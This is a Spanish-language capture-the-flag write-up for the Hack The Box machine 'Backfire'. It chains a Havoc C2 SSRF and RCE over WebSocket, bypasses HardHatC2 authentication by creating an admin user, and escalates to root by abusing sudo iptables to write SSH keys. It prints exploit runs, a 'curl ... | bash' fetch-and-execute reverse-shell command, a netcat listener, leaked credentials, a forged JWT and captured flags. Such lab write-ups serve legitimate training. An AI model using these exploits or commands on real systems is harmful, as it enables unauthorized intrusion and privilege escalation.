En Backfire encontramos la configuracion de Havoc Server donde se realizo la explotacion de dos vulnerabilidades (SSRF + RCE) a traves de WebSocket, esto nos permitio el acceso a un primer usuario. Localmente encontramos HardHatC2 el cual tiene varias vulnerabilidades, una de ellas permite la creacion de un usuario administrador la cual nos permitio acceder al dashboard, ejecutar comandos y acceder a un segundo usuario. Finalmente escalamos privilegios a atraves de los comandos iptables con los que realizamos la escritura de una clave SSH publica en el usuario root.
# Nmap 7.95 scan initiated Fri Feb 7 06:59:45 2025 as: /usr/lib/nmap/nmap --privileged -p22,443,5000,7096,8000 -sV -sC -oN nmap_scan 10.10.11.49Nmap scan report for 10.10.11.49
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)| ssh-hostkey:
|256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)|_ 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)443/tcp open ssl/http nginx 1.22.1
|_ssl-date: TLS randomness does not represent time|_http-title: 404 Not Found
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-server-header: nginx/1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=DEBUG CO/stateOrProvinceName=Washington/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-07-28T09:01:00
|_Not valid after: 2027-07-28T09:01:00
5000/tcp filtered upnp
7096/tcp filtered unknown
8000/tcp open http nginx 1.22.1
| http-ls: Volume /
| SIZE TIME FILENAME
|1559 17-Dec-2024 11:31 disable_tls.patch
|875 17-Dec-2024 11:34 havoc.yaotl
|_
|_http-server-header: nginx/1.22.1
|_http-title: Index of /
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 7 07:00:06 2025 -- 1 IP address (1 host up) scanned in 20.51 seconds
Web Site - HTTPS
El sitio web no muestra ningun tipo de contenido, unicamente codigo 404.
Puerto 8000
En el puerto 8000 http encontramos dos archivos.
1
2
3
4
5
6
7
8
❯ curl -s http://10.10.11.49:8000/ | html2text
****** Index of / ******
===============================================================================../
disable_tls.patch 17-Dec-2024 11:31 1559havoc.yaotl 17-Dec-2024 11:34 875===============================================================================❯
Havoc Framework
El primero muestra los cambios realizados a dos archivos del Servidor C2 Havoc, mencionando que se desabilito TLS en conexion Websocket tanto del cliente como en el servidor. Se menciona que para acceder al puerto 40056 solo es posible localmente.
Teamserver {Host="127.0.0.1"Port=40056 Build {Compiler64="data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"Compiler86="data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"Nasm="/usr/bin/nasm"}}Operators { user "ilya"{Password="CobaltStr1keSuckz!"} user "sergej"{Password="1w4nt2sw1tch2h4rdh4tc2"}}Demon {Sleep=2Jitter=15TrustXForwardedFor=false Injection {Spawn64="C:\\Windows\\System32\\notepad.exe"Spawn32="C:\\Windows\\SysWOW64\\notepad.exe"}}Listeners { Http {Name="Demon Listener"Hosts=["backfire.htb"]HostBind="127.0.0.1"PortBind=8443PortConn=8443HostRotation="round-robin"Secure=true}}
Como era de esperarse el puerto del servidor de Havoc no esta disponible, por lo que no es posible conectarnos con alguno de los operadores.
1
2
3
4
5
6
7
8
9
10
❯ nmap -p 40056 10.10.11.49
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 07:03 EST
Nmap scan report for backfire.htb (10.10.11.49)Host is up (0.066s latency).
PORT STATE SERVICE
40056/tcp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
❯
CVE-2024-41570
Encontramos un post que explica una vulnerabilidad SSRF en Havoc escrita por uno de los autores de la maquina (chebuya), esta permite crear, escribir y leer sockets sin ningun tipo de autenticacion en el servidor, lo que permite realizar solicitudes desde el servidor C2 a una IP y puerto especifico.
Existe un PoC, este realiza una solicitud HTTP a la direccion /vulnerable y host especificado.
Ejecutamos el PoC hacia nuestro servidor http local y observamos una solicitud hacia la direccion /vulnerable, tal y como en el codigo, ademas, se observa el resultado de la solicitud.
❯ python havoc-ssr.py -t https://backfire.htb -i 10.10.15.106 -p 80[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.0 404 File not found
Server: SimpleHTTP/0.6 Python/3.12.8
Date: Mon, 17 Feb 2025 03:26:36 GMT
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 335<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 404</p>
<p>Message: File not found.</p>
<p>Error code explanation: 404 - Nothing matches the given URI.</p>
</body>
</html>
❯
HTTP Local Server
1
2
3
4
❯ httphere .
Serving HTTP on 0.0.0.0 port 80(http://0.0.0.0:80/) ...
10.10.11.49 - - [16/Feb/2025 22:26:36] code 404, message File not found
10.10.11.49 - - [16/Feb/2025 22:26:36]"GET /vulnerable HTTP/1.1"404 -
Realizamos una solicitud al puerto 40056 y observamos que existe una respuesta: una redireccion; al realizar una solicitud a esta ruta se muestra como no encontrada.
❯ python havoc-ssr.py -t https://backfire.htb -i 127.0.0.1 -p 40056[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.1 301 Moved Permanently
Content-Type: text/html;charset=utf-8
Location: /home/
Date: Mon, 17 Feb 2025 03:33:48 GMT
Content-Length: 41Connection: close
<a href="/home/">Moved Permanently</a>.
❯ python havoc-ssr.py -t https://10.10.11.49 -i 127.0.0.1 -p 40056[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.1 404 Not Found
Date: Mon, 17 Feb 2025 03:52:24 GMT
Content-Length: 0Connection: close
❯
Los puertos 5000 y 7096 no muestran algun tipo de contenido al realizar la solicitud HTTP hacia /.
❯ python havoc-ssr.py -t https://backfire.htb -i 127.0.0.1 -p 5000[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
❯ python havoc-ssr.py -t https://backfire.htb -i 127.0.0.1 -p 7096[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
❯
Havoc RCE
Tambien, encontramos que Havoc =< 0.6 tiene una vulnerabilidad RCE. Si observamos el PoC realiza una conexion directa con el servidor a traves de WebSocket TLS, se autentica, crea un listener y por medio de un agente envia el comando. Pero, como sabemos el puerto del servidor de Havoc es unicamente accesible localmente o en este caso por medio de la vulnerabilidad SSRF, por lo que para intentar explotar esta vulnerabilidad es necesario realizarlo por este ultimo, es decir combinar la explotacion de dos vulnerabiliades, para ello debemos saber como enviar solicitudes Websocket.
WebSocket
WebSocket se comunica sobre una sola conexion TCP, para establecer una conexion, primero se realiza un HTTP handshake donde se especifican los headers que indican actualizar a este protocolo, el servidor al aceptar el cambio envia una respuesta HTTP 101, con ello ambos pueden empezar a comunicarse.
La comunicacion se realiza a traves de WebSocket Frames, existen diferentes tipos de ‘Frames’: Text, binary, ping, pong y close. Ademas, existe Framing Masking, una caracteristica de seguridad donde se crea y especifica una mask key la cual es utilizada para realizar XOR al payload antes de ser enviada, al llegar, el servidor se encarga de realizar “unmask” para obtener el payload original.
Local Exploitation
Para poder observar el comportamiento y las solicitudes, aplicamos el ‘parche’ a Havoc localmente, lo compilamos y ejecutamos con el perfil encontrado.
Al enviar la solicitud no se muestra ningun tipo de error por parte de Havoc, por lo que asumimos como aceptada. En el caso de no ser aceptado, muestra algo como:
1
[ERRO] Failed upgrading request: websocket: the client is not using the websocket
Continuamos con el payload para autenticarnos, para ello utilizamos nuevamente el codigo de python-websocket esta vez para generar el frame con el masking.
Al enviar esta solicitud Havoc muestra que el usuario se autentico.
1
2
3
4
5
[02:30:51][DBUG][agent.ParseDemonRegisterRequest:594]: Finished parsing demon
[02:30:51][DBUG][handlers.handleDemonAgent:295]: Finished request
[02:30:51][DBUG][server.(*Teamserver).ClientAuthenticate:659]: Found User: ilya
[02:30:51][DBUG][server.(*Teamserver).ClientAuthenticate:666]: User ilya is authenticated
[02:30:51][GOOD] User <ilya> Authenticated
Finalmente agregamos el payload para el listener y el comando.
❯ python exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056 -U ilya -P 'CobaltStr1keSuckz!' -c 'curl 10.10.15.106:8000/10.10.15.106:1335 | bash'[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
Authenticating ...
[***] Trying to write to the socket
[***] Success!
Creating listener ...
[***] Trying to write to the socket
[***] Success!
Executing command: `curl 10.10.15.106:8000/10.10.15.106:1335 | bash`[***] Trying to write to the socket
[***] Success!
❯
Logramos obtener una shell y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.48] from backfire.htb [10.10.11.49]60040/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
ilya
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
/home/ilya/Havoc/payloads/Demon
$ python3 -c'import pty;pty.spawn("/bin/bash")'ilya@backfire:~/Havoc/payloads/Demon$ cdilya@backfire:~$ ls
files hardhat.txt Havoc user.txt
ilya@backfire:~$ cat user.txt
8b218e350f1a41051827ce870df79ce1
ilya@backfire:~$
Shell SSH
La shell inversa se cerraba por lo que generamos una clave con ssh-keygen y agregamos la clave publica al archivo authorized_keys.
ilya@backfire:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ilya/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/ilya/.ssh/id_rsa
Your public key has been saved in /home/ilya/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:r3pfoKAogirba8Y0rwu6ObA42Wckg/9B+xbZOs1LItY ilya@backfire
The key's randomart image is:
+---[RSA 3072]----+
||||||||| . . .oS . ||+ =o.+o..o . ||BB.** E=o . . ||@=*.+++o+. . ||BB=B..o+oo. |+----[SHA256]-----+
ilya@backfire:~$ cat /home/ilya/.ssh/id_rsa.pub >> .ssh/authorized_keys
cat /home/ilya/.ssh/id_rsa.pub >> .ssh/authorized_keys
ilya@backfire:~$ cat /home/ilya/.ssh/id_rsa
cat /home/ilya/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA0uPeX5wwxtT30r+K1LWarkQ0RM6sF2nmTuGsJ1lIs85dEC+k/lwi
[...] snip [...]gWyDGInGwX9HoOXDtKxf8wSXJRde686+v731sj/r0i/M4tSJKQFupWXK2knBfa/V0N+Qc5
AOYtfFTSAGx58AAAANaWx5YUBiYWNrZmlyZQECAwQFBg==-----END OPENSSH PRIVATE KEY-----
ilya@backfire:~$
Con ello logramos acceder por SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nano id_rsa_ilya
❯ chmod 600 id_rsa_ilya
❯ ssh -i id_rsa_ilya ilya@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Tue Feb 18 22:29:16 2025 from 10.10.15.87
ilya@backfire:~$ whoami;id;pwdilya
uid=1000(ilya)gid=1000(ilya)groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)/home/ilya
ilya@backfire:~$
User - Sergej
En la carpeta principal de Ilya encontramos una nota que explica que el usuario Sergej instalo HardHatC2.
1
2
3
4
5
6
ilya@backfire:~$ ls
files hardhat.txt Havoc user.txt
ilya@backfire:~$ cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
ilya@backfire:~$
El servidor HardHatC2 corre por el puerto 5000 y la interfaz del cliente por el 7096. Observando los procesos vemos que Sergej lo esta ejecutando y ambos puertos estan abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ilya@backfire:~$ ps -ef | grep sergej
sergej 172812 23:50 ? 00:00:11 /home/sergej/.dotnet/dotnet run --project HardHatC2Client --configuration Release
sergej 172912 23:50 ? 00:00:08 /home/sergej/.dotnet/dotnet run --project TeamServer --configuration Release
sergej 178617290 23:50 ? 00:00:03 /home/sergej/HardHatC2/TeamServer/bin/Release/net7.0/TeamServer
sergej 180917280 23:50 ? 00:00:03 /home/sergej/HardHatC2/HardHatC2Client/bin/Release/net7.0/HardHatC2Client
ilya 214721400 23:56 pts/0 00:00:00 grep sergej
ilya@backfire:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00 0.0.0.0:8000 0.0.0.0:* LISTEN -
tcp 00 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 00 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 00 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp 00 0.0.0.0:7096 0.0.0.0:* LISTEN -
tcp6 00 :::22 :::* LISTEN -
ilya@backfire:~$
HardHatC2
Utilizamos SSH para realizar Local Port Forwarding para el puerto 7096.
Observamos localmente el la interfaz grafica, sin embargo ninguna de las credenciales de Havoc son validas.
Authentication Bypass
HardHatC2 tiene tres vulnerabilidades. Utilizamos el PoC para Authentication Bypass; este crea un usuario con permisos de “administrador” y “TeamLead” con las credenciales sth_pentest : sth_pentest. Obtuvimos el puerto 5000 localmente y lo ejecutamos.
1
2
3
4
5
6
❯ ssh -i id_rsa_ilya -fN ilya@10.10.11.49 -L 5000:localhost:5000
❯ python auth_bypass_hardhat.py 2>/dev/null
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiZjc4YzYyMzgtZWM1Mi00MmQ2LWJlNWEtMWEwOGEzYmQwMTdjIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzk2MjcwMzQsImV4cCI6MTc0MjA0MjYzNCwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.1TdZBvzJnoQjXIg7RWxDu5_1IaAai0_LVFhVEcnniRU
User sth_pentest created
❯
Tras la ejecucion logramos acceder al dashboard.
Para ejecutar comandos nos dirigimos a ImplantInteract > Terminal y nueva terminal, enviamos el comando whoami y observamos el output.
Shell
Generamos una clave SSH y agregamos la clave publica al archivo authorized_keys.
Intentamos sobreescribir el archivo authorized_keys de sergej como prueba de acceso por SSH, sin embargo el comentario maximo aceptado por iptables es de 256 caracteres por lo que generamos una clave ed25519 la cual es mas corta.
1
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
Nuevamente ejecutamos el PoC esta vez con la clave publica y como objetivo authorized_keys.
1
2
3
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIhv2EQ0UPpncfU1j5eK8BmzCMUHaD2D/Y60odD1za1m sergej@backfire\n'sudo iptables -S
sudo iptables-save -f /home/sergej/.ssh/authorized_keys
Observamos que el archivo authorized_keys tiene la clave que generamos anteriormente.
sergej@backfire:~$ cat .ssh/authorized_keys
# Generated by iptables-save v1.8.9 (nf_tables) on Sat Feb 15 02:50:40 2025*raw
:PREROUTING ACCEPT [0:0]:OUTPUT ACCEPT [0:0]COMMIT
# Completed on Sat Feb 15 02:50:40 2025# Generated by iptables-save v1.8.9 (nf_tables) on Sat Feb 15 02:50:40 2025*filter
:INPUT ACCEPT [159:11380]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [165:20524]-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIhv2EQ0UPpncfU1j5eK8BmzCMUHaD2D/Y60odD1za1m sergej@backfire
" -j ACCEPT
COMMIT
# Completed on Sat Feb 15 02:50:40 2025sergej@backfire:~$
Tras utilizar la clave privada obtuvimos acceso, por lo que podemos replicarlo con el usuario root.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ nano test_id
❯ chmod 600 test_id
❯ ssh -i test_id sergej@backfire.htb
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sat Sep 28 22:44:34 2024 from 10.10.14.194
sergej@backfire:~$
Shell root
Agregamos la clave publica anterior generada, logramos acceder como root y obtener nuestra flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sergej@backfire:~$ ssh root@localhost
The authenticity of host 'localhost (::1)' can't be established.
ED25519 key fingerprint is SHA256:vKC7A11sFxQLRppUMt01q0d/DPREoskH4Aa42t0Bz9M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost'(ED25519) to the list of known hosts.
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64root@backfire:~# whoami;id
root
uid=0(root)gid=0(root)groups=0(root)root@backfire:~# ls
root.txt
root@backfire:~# cat root.txt
df27c9753939c11a223e616872782a35
root@backfire:~#